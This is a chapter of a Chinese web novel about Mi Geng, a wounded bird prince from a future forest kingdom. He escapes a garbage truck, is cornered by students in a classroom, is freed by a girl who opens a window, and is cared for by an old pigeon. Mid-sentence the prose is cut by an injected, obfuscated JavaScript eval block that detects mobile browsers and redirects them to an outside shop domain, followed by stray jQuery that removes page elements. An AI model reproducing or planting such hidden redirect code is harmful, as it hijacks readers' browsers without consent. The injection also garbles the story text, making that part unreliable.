昏暗杂乱的视野里,全是堆叠的杂物,沉甸甸的垃圾碎屑压在他的羽翼与脊背之上,闷得他呼吸不畅。他脑子一片空白,彻底陷入混沌。
我是谁?我在哪里?这些黑乎乎沉甸甸的是什么怪物,怎么一直在压着我!
残存的药效还黏在四肢百骸,让他浑身发软,无力动弹,受伤的翅膀僵硬刺痛,无法舒展扇动。米耿记忆模糊,只隐约记得自己拉屎,被嫌弃,下一幕再睁开眼就是这里了。
一定是昨天那个粗鲁男人!肯定是我拉了屎报复他,他怀恨在心,故意报复我,把我偷偷扔到这种脏地方!
尊贵的王子可从来没受过这种委屈,他恨恨道:卑鄙是卑鄙者的通行证!可恶的人类,我会让你付出代价的!
他捏着鼻子,望着青天!激愤开麦:你太残忍~咳咳,一边去,他踢走了脚边的瓶子,好臭!
不知过了多久,三轮车终于缓缓停下。
保洁阿姨推门下车,提着垃圾袋快步走向另一栋宿舍楼,去收取楼栋的生活垃圾,暂时离开了三轮车旁。
密闭脏乱的车厢里终于安静下来,米耿趁机用尽余力,拖着满身伤痛,跌跌撞撞爬到垃圾堆的边缘,探出小小的脑袋透气,清新的空气扑面而来,他贪婪地呼吸着,“我勒个爹,差点把我脑浆荡出来了。”
身旁的异味被风吹来,他忍不住又一阵反胃,喉咙翻滚,阵阵干呕。
Yue——这破世界也太恐怖了,简直就是地狱再生,本王子要驾车回阿尔雅莱!
逃离垃圾堆,赶紧找一处干净安全的地方休养是目前的重中之重,他环视四周,发现不远处的草坪绿意盎然,干净空旷,“就那了!”
米耿蓄力振翅,想要低空滑翔飞到草地落脚,他龇牙咧嘴忍痛调整姿态,准备起飞!一道修长的少年身影快步朝着这边走来,步履匆匆,正处在草坪和米耿之间。
来不及了!
情急之下,米耿猛地纵身一跃,精准跳进了少年侧边敞开的书包夹层里。
骤然落入狭小的书包,周遭瞬间陷入一片漆黑,书包里塞满了厚重的课本、笔记本与习题册,密密麻麻的书本紧紧簇拥在一起,空间拥挤又憋闷。昏暗的环境里,满是纸张与笔墨的清淡气息,彻底隔绝了外界的天光与风声。
米耿小小的身子被厚重书本挤在角落,动弹不得,残破的羽翼只能小心翼翼收拢贴紧身体,生怕一个不小心就被坚硬的书脊磕碰加重伤势。
他微微蜷起身子,缩在书包最侧边的缝隙里,缩在狭小的夹层里,心底欲哭无泪,疯狂吐槽:不是吧大哥?早不来晚不来,偏偏我刚准备逃去草坪好好养伤,你就凑过来了?好不容易从恶臭的垃圾堆里拼死逃出来,转头就要在这黢黑的板块夹缝里受罪。我堂堂羽族王子,落得这般地步,也太难了!俗话说,我不入地狱谁入地狱,可是也不能让我一直在地狱啊!
吐槽半天,他才勉强平复下憋屈的心情:算了算了,至少我还活着,没有重伤殒命,比起刚才熏得人窒息的垃圾山,已经是不幸中的万幸了。
清晨的风穿过大学校园的林荫道,卷着微凉的水汽与草木清香,轻轻拂过整条求学之路。道路两旁的香樟树枝繁叶茂,层层叠叠的枝叶遮住大半天光,只漏下细碎斑驳的光点,落在来往行色匆匆的学生身上。少年背着沉甸甸的双肩包,步履轻快又匆忙,赶在课前快步走向教学楼。
狭小漆黑的书包夹层逼仄又压抑,塞满了厚重的专业课本、硬壳习题册与折叠整齐的笔记本。坚硬的书脊紧紧抵住米耿尚未愈合的伤口,每一次少年迈步的颠簸震动,都会牵扯他浑身酸痛的筋骨。
这一路的摇晃与煎熬,只有我懂!就在米耿的意识快要崩溃时,持续的晃动终于停了。
周遭零星的脚步声渐渐密集起来,嘈杂的说话声、翻书声、桌椅挪动的轻响层层叠叠涌入耳畔,热闹又鲜活,彻底驱散了一路的沉寂。
“还好没迟到。”
少年看了看表,松了口气,自语着,随手将双肩包稳稳放在实木课桌上,然后将书包侧边的拉链完全拉开。刹那间,透亮温暖的天光顺着开口倾泻而入,直直照进漆黑的夹层里。
突如其来的光亮有些刺眼,米耿下意识微微眯起圆溜溜的眼眸,适应片刻后,才小心翼翼舒展蜷缩僵硬了一路的身子,他睁着圆溜溜的眼睛,“又解锁新地点了。”这个书包的主人不知道去哪了,他小心翼翼地探头观察着周围的一切。
宽敞明亮的空间映入眼帘,一排排整齐的桌椅井然有序。这里的人都在低头专注于一个方形的东西,米耿记得这是昨天那个人一直在玩的无聊玩具。这个座位在窗子边,刚好可以飞出去!米耿屏住呼吸,小心翼翼从书包夹层里攀爬出来,小小的身子艰难地落在实木课桌上。
他压低身形,贴着桌面踮脚挪动,打算顺着桌沿溜到窗边,直接飞离教室。
可偏偏祸不单行。
教室后排的丁竹正瘫在座位上,盯着手机屏幕满脸烦躁,刚刚一局游戏惨败,战绩惨烈,正憋着一肚子火气无处发泄,周身透着生人勿近的戾气。
他百无聊赖抬眼扫视教室,余光骤然瞥见窗边课桌上的米耿。米耿心直跳,感觉有不好的事情要发生,他悄悄抬头,跟不远处的丁竹对视了,大眼瞪小眼。米耿心一紧,继续往前走,我靠,看不见我,看不见我!
“老大,该你了。”旁边的小弟把手机给他,丁竹没反应,只是看着前方,他顺着看过去:“我靠,那里有一只神鸟!”
他猛地从座位上弹起来,兴致勃勃地拔高声音,对着周围兄弟大喊,“快关门关窗!别让它飞跑了!”
周遭男生闻声瞬间躁动起来,纷纷起身就要封堵门窗,一副势要抓鸟的架势。
前排几个女生看不下去,当场皱眉出声制止,语气带着不满:“你们干什么!别欺负小动物!”
“丁竹!你管一下你的朋友!”其中一个扎辫子的女生站起来对丁竹说。
“抓着玩而已,多大点事。”丁竹满不在乎地撇嘴。
他的兄弟们抄起桌角的长扫把,眼神玩味地盯着桌面上惊慌失措的小彩鸟,招呼身边几个同伴,“这鸟毛色这么绝,长得这么稀罕,抓回去肯定能卖个好价钱,运气来了!”
几个男生立刻应声附和,纷纷抄起手边的扫把、直尺,嬉笑着围堵上来,将窗边区域死死围住。
瞬间被团团包围的米耿彻底慌了,羽翼紧紧贴在身上,狼狈地在课桌上左躲右闪,看着逼近的人群,急得叽叽喳喳乱叫,心底疯狂辩解。
不是!你们干什么抓我!
他顶着满身伤痛,跌跌撞撞逃窜,弱小的身影在一众桌椅间狼狈穿梭,欲哭无泪。
我遵纪守法良民一个!这里面肯定有什么天大的误会!别抓我啊!
少年们只顾着嬉笑围堵,听不懂他的叽叽喳喳,只觉得这只小鸟灵动又可爱,愈发来了兴致,步步紧逼,不肯放过。
扫把杆轻轻扫过桌面,带着劲风擦过米耿的羽翼,吓得他瞬间一个趔趄,差点摔落在地,伤口被气流牵扯,传来阵阵刺痛。
就在米耿被逼得走投无路、即将被扫把扣住的危急关头,扎辫子的女生实在看不下去,快步上前一把拉开紧闭的窗帘,同时推开半扇窗户,对着惊慌逃窜的小彩鸟轻声示意:“小鸟,快来这边,赶紧飞!”
透亮的天光涌入窗口,微凉的风顺着缝隙吹进来,米耿眼神骤然一亮,抓住机会,拖着残破受伤的羽翼,顺着敞开的窗口,径直飞出了教室,消失在教学楼外的半空。
“啧!都怪你!多管闲事!”
到手的“漂亮小鸟”直接飞走,丁竹的朋友瞬间黑脸,转头狠狠瞪着开窗的女生,语气满是怒气与责备。
女生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936752|213735||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
半点不退,挺直脊背,理直气壮地回怼:“爱护小动物是小学生都懂的道理,还用我专门给你讲?欺负弱小很光荣吗?”
“你!”朋友被怼得语塞,火气瞬间拉满,攥紧拳头就要上前理论,“别以为我不敢揍你!”
“那你动手试试?”女生毫不畏惧,仰头直视着他,气场丝毫不输。
两人僵持着,这时一道清冷干净的少年声线骤然响起,带着淡淡的疏离与威严,对着丁竹:“你在发什么疯?”
门口走进来的少年正是书包的主人安衾,也是本次班级支教志愿活动的队长。他身姿挺拔,气质清冷沉稳,眉眼间带着几分严肃。
丁竹十分无语地向他摊摊手,“关我什么事?”安衾也不说话,就看着他,丁竹对上面的朋友说:“绅士点。”
朋友狠狠踹了一脚旁边的椅子泄愤,“你给我等着!”转头坐回了自己的座位。
女生松了口气,笑着看向安衾:“没事了,还是你最能治得住他。”
安衾微微颔首,神色恢复平和,迈步走上讲台,看向教室里的一众同学,开口正色开口,开启今日的志愿活动部署:“我们今天开展支教志愿活动出发动员会,我提前说明,这个支教项目条件艰苦、路途奔波,全程需要耐心和责任心。吃不了苦、心态浮躁、爱惹事生非的同学,现在可以主动退出,不用勉强。”说完看着丁竹。
丁竹双手抱胸,倚靠在椅子上,看着他。安衾才转回目光,继续说注意事项。
与此同时,教学楼外的半空。
米耿拼尽全力振翅飞翔,仓皇逃窜,翅膀的伤口又撕裂了,每扇动一下都牵扯着刺骨的疼痛,风吹过破损的羽翼,凉得他浑身发颤。
他不敢停下,一路低空飞行,远离教学楼,终于摆脱危机了,他缓缓放缓速度,落在操场旁的老槐树上,大口大口喘息。
惊魂未定的米耿满心后怕,正打算低头查看自己的伤势、休整片刻,一道温柔慈祥的苍老声音忽然从树下传来:“小朋友,飞得这么慌慌张张,你要去哪里呀?”
米耿浑身一僵,瞬间警惕,立刻抬眼望去。
不远处的草坪上站着一只头发花白的鸽子,米耿察觉到对方没有恶意,紧绷的神经稍稍放松,轻轻扇动羽翼,缓缓从槐树上飞落,落在她身前的草坪上。
鸽子婆婆看着他残破带血的羽翼,“你怎么受伤了?”米耿把他的遭遇说给她听。
鸽子婆婆听了,心疼地拿出家里珍藏的谷物投喂他,还细心查看他的翅膀伤势,轻柔帮他处理伤口。
“婆婆,这里是哪里呀?”
鸽子慢悠悠笑着开口,耐心给他解惑:“这里是人类世界,脚下这片地方是一所大学,就像大千世界里的一叶小小舟。这里的都是善良的大学生,校园里的鸟儿常年有人投喂,算是变相的包吃包住,安稳得很。”
米耿听得满眼疑惑,圆圆的琉璃眼眸眨了眨,满脸不解,人类世界?
他爱探险,经常翻阅阿尔雅莱的古籍史书,寻找好玩的神秘之境,有一次好像看到过书上记载,人类世界早已在2300年就覆灭灭绝,消散在岁月长河中,怎么会自己会穿越到过去的世界里?难道是在做梦?
他忍不住对着老婆婆轻声啾鸣。
鸽子婆婆听完,眉眼弯弯,温柔打趣:“那看来,你是来自未来世界的小鸟呀。”
米耿立刻挺直小小的身子,满脸骄傲,认真鸣叫示意,语气带着十足的王族底气:“婆婆,我可不是一般的小鸟,我是阿尔雅莱森林的王子!”
鸽子闻言又是一阵温和大笑,没有半点质疑和嘲讽,只是温柔摸了摸他的羽翼,顺着他的话点头附和,满眼宠溺,她的孙子要是活着肯定和眼前这只小鸟一样可爱。
米耿没有受到怀疑猜忌,心底瞬间暖暖的,暗自感慨。这位鸟婆婆是这个世界上唯三好的。